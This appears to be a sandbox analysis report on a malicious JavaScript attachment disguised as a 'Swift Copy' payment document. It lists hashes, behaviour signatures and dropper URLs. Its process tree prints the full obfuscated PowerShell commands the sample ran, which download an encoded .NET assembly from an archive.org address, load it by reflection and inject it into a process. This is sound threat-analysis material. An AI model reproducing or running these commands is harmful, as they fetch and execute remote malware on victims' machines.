Overview

overview

10

Static

static

1

Swift Copy....50.js

windows7-x64

10

Swift Copy....50.js

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    19-09-2024 07:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Swift Copy of USD 11961.50.js

  • Size

    603KB

  • MD5

    fe8cfc59d5069342f1d6b42822ea2577

  • SHA1

    641c2747423abbf598148cfb1d1006becffb60bc

  • SHA256

    ee7711a9df0823e2f820b6a1cacc69a86c0694719ffb6373b6c5428c97d969a8

  • SHA512

    5c4408cc638d8484ad7f745b60ed4eb7aae7d911538ac986ed858fd93402ff1449f9d38e1f35bfac407edd920e1e3e386cf850db01d71eae6e40989b20ad7f82

  • SSDEEP

    12288:lHapg5WlvjbwO8wd8yTYhq6YGOx+QXVT5dmWIRXRBU6p9TY+lwhiaZaCLaP7OXXW:9dn2XzIVQ0

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Swift Copy of USD 11961.50.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAFUAbQBzAHUAcgBsACAAPQAnACsAJwAgAGcARwBYAGgAdAB0AHAAcwA6AC8ALwBpAGEAJwArACcAOQAwADQANgAwACcAKwAnADEAJwArACcALgB1AHMAJwArACcALgAnACsAJwBhAHIAJwArACcAYwBoAGkAdgBlAC4AbwAnACsAJwByACcAKwAnAGcALwA2AC8AaQB0AGUAbQBzACcAKwAnAC8AJwArACcAZABlACcAKwAnAHQAYQBoAC0AbgAnACsAJwBvAHQAZQAtAGoALwBEAGUAdABhACcAKwAnAGgATgBvAHQAJwArACcAZQAnACsAJwBKAC4AJwArACcAdAAnACsAJwB4AHQAZwAnACsAJwBHAFgAOwBVAG0AJwArACcAcwBiACcAKwAnAGEAcwBlADYANABDAG8AbgAnACsAJwB0AGUAJwArACcAbgB0ACAAPQAnACsAJwAgACgATgBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AJwArACcATgBlAHQALgAnACsAJwBXACcAKwAnAGUAYgBDAGwAJwArACcAaQBlAG4AJwArACcAdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAJwArACcAbgBnACcAKwAnACgAVQBtACcAKwAnAHMAdQByAGwAKQA7AFUAbQBzACcAKwAnAGIAaQAnACsAJwBuAGEAcgB5ACcAKwAnAEMAbwBuAHQAZQAnACsAJwBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAJwArACcAbQAuACcAKwAnAEMAbwBuAHYAJwArACcAZQByAHQAXQA6ACcAKwAnADoARgAnACsAJwByAG8AJwArACcAbQBCAGEAcwBlACcAKwAnADYANABTAHQAcgAnACsAJwBpAG4AZwAoACcAKwAnAFUAbQBzAGIAYQBzAGUAJwArACcANgAnACsAJwA0ACcAKwAnAEMAbwBuAHQAJwArACcAZQBuAHQAJwArACcAKQA7AFUAbQAnACsAJwBzAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQAnACsAJwBmAGwAZQBjAHQAaQAnACsAJwBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFUAbQAnACsAJwBzAGIAaQBuAGEAcgB5ACcAKwAnAEMAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQAJwArACcAKQA7AFUAbQAnACsAJwBzAHQAeQAnACsAJwBwACcAKwAnAGUAIAAnACsAJwA9ACAAJwArACcAVQBtACcAKwAnAHMAYQBzAHMAZQBtACcAKwAnAGIAbAB5AC4ARwBlACcAKwAnAHQAVAB5AHAAZQAnACsAJwAoAGcARwBYACcAKwAnAFIAJwArACcAdQAnACsAJwBuAFAARQAuAEgAJwArACcAbwBtAGUAZwBHAFgAKQA7AFUAbQBzACcAKwAnAG0AJwArACcAZQB0AGgAbwBkACAAPQAnACsAJwAgAFUAbQBzACcAKwAnAHQAJwArACcAeQAnACsAJwBwAGUALgBHAGUAdABNAGUAdABoAG8AJwArACcAZAAoAGcARwBYAFYAQQBJAGcAJwArACcARwBYACcAKwAnACkAJwArACcAOwBVAG0AJwArACcAcwAnACsAJwBtAGUAdABoAG8AZAAuAEkAbgB2ACcAKwAnAG8AawBlACgAVQBtAHMAbgB1AGwAJwArACcAbAAnACsAJwAsACAAWwBvACcAKwAnAGIAagAnACsAJwBlAGMAdABbAF0AXQAnACsAJwBAACgAZwBHAFgAdAAnACsAJwB4AHQALgAnACsAJwB1AGwAJwArACcAdQB6AC8AJwArACcAdgAnACsAJwBlAGQAJwArACcALgAyAHIALgAzACcAKwAnADkAYgAnACsAJwAzADQANQAzADAAMgAnACsAJwBhADAAJwArACcANwAnACsAJwA1AGIAMQAnACsAJwBiAGMAMABkADQANQBiADYAMwAyAGUAYgA5AGUAZQA2ADIAJwArACcALQBiAHUAcAAvAC8AOgBzAHAAJwArACcAdAAnACsAJwB0AGgAZwBHAFgAJwArACcAIAAnACsAJwAsACAAZwBHAFgAJwArACcAZABlACcAKwAnAHMAYQB0ACcAKwAnAGkAJwArACcAdgBhAGQAbwBnAEcAJwArACcAWAAnACsAJwAgACwAIABnAEcAWABkAGUAcwAnACsAJwBhACcAKwAnAHQAaQB2AGEAZABvAGcARwBYACAALAAgAGcARwBYAGQAJwArACcAZQBzAGEAdABpAHYAYQBkAG8AZwBHAFgAJwArACcALABnACcAKwAnAEcAWABBAGQAZAAnACsAJwBJAG4AUAByACcAKwAnAG8AYwBlAHMAcwAnACsAJwAzACcAKwAnADIAZwBHACcAKwAnAFgAJwArACcALABnAEcAWABkAGUAcwAnACsAJwBhAHQAaQB2AGEAZABvAGcARwBYACkAKQAnACsAJwA7ACcAKQAuAFIAZQBQAGwAQQBjAGUAKAAoAFsAYwBoAEEAUgBdADEAMAAzACsAWwBjAGgAQQBSAF0ANwAxACsAWwBjAGgAQQBSAF0AOAA4ACkALABbAHMAdAByAGkATgBnAF0AWwBjAGgAQQBSAF0AMwA5ACkALgBSAGUAUABsAEEAYwBlACgAKABbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQAxADAAOQArAFsAYwBoAEEAUgBdADEAMQA1ACkALABbAHMAdAByAGkATgBnAF0AWwBjAGgAQQBSAF0AMwA2ACkAfAAgACYAIAAoACAAJABQAFMAaABvAG0ARQBbADIAMQBdACsAJABQAFMAaABvAE0AZQBbADMANABdACsAJwB4ACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Umsurl ='+' gGXhttps://ia'+'90460'+'1'+'.us'+'.'+'ar'+'chive.o'+'r'+'g/6/items'+'/'+'de'+'tah-n'+'ote-j/Deta'+'hNot'+'e'+'J.'+'t'+'xtg'+'GX;Um'+'sb'+'ase64Con'+'te'+'nt ='+' (New-Obj'+'ect System.'+'Net.'+'W'+'ebCl'+'ien'+'t).DownloadStri'+'ng'+'(Um'+'surl);Ums'+'bi'+'nary'+'Conte'+'nt = [Syste'+'m.'+'Conv'+'ert]:'+':F'+'ro'+'mBase'+'64Str'+'ing('+'Umsbase'+'6'+'4'+'Cont'+'ent'+');Um'+'sas'+'sembly = [Re'+'flecti'+'on.Asse'+'mbly]::Load(Um'+'sbinary'+'Co'+'nten'+'t'+');Um'+'sty'+'p'+'e '+'= '+'Um'+'sassem'+'bly.Ge'+'tType'+'(gGX'+'R'+'u'+'nPE.H'+'omegGX);Ums'+'m'+'ethod ='+' Ums'+'t'+'y'+'pe.GetMetho'+'d(gGXVAIg'+'GX'+')'+';Um'+'s'+'method.Inv'+'oke(Umsnul'+'l'+', [o'+'bj'+'ect[]]'+'@(gGXt'+'xt.'+'ul'+'uz/'+'v'+'ed'+'.2r.3'+'9b'+'345302'+'a0'+'7'+'5b1'+'bc0d45b632eb9ee62'+'-bup//:sp'+'t'+'thgGX'+' '+', gGX'+'de'+'sat'+'i'+'vadogG'+'X'+' , gGXdes'+'a'+'tivadogGX , gGXd'+'esativadogGX'+',g'+'GXAdd'+'InPr'+'ocess'+'3'+'2gG'+'X'+',gGXdes'+'ativadogGX))'+';').RePlAce(([chAR]103+[chAR]71+[chAR]88),[striNg][chAR]39).RePlAce(([chAR]85+[chAR]109+[chAR]115),[striNg][chAR]36)| & ( $PShomE[21]+$PShoMe[34]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2700

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZJ497W5I1V9UVOZG6PE7.temp
    Filesize

    7KB

    MD5

    7408effa584319c4ca42ea0cb1524b6b

    SHA1

    a67d22cf68e8e8d1e30cb738288a242692aad11d

    SHA256

    74f9afdd3942f424f04aecf18e8a638ac735b046be971c56a7e6d5b91c2f5157

    SHA512

    05d3ee710eac80e6b35a4000ed85f7c7128a7230082cf31bc5d03107d681aef1c562707a8412fa327da325d4c958ffca3250265edd6ed3ca1df6eb8708370651

    Download Submit

  • memory/2372-4-0x000007FEF633E000-0x000007FEF633F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2372-5-0x000000001B570000-0x000000001B852000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2372-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2372-7-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2372-10-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2372-9-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2372-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2372-11-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2372-17-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

    Download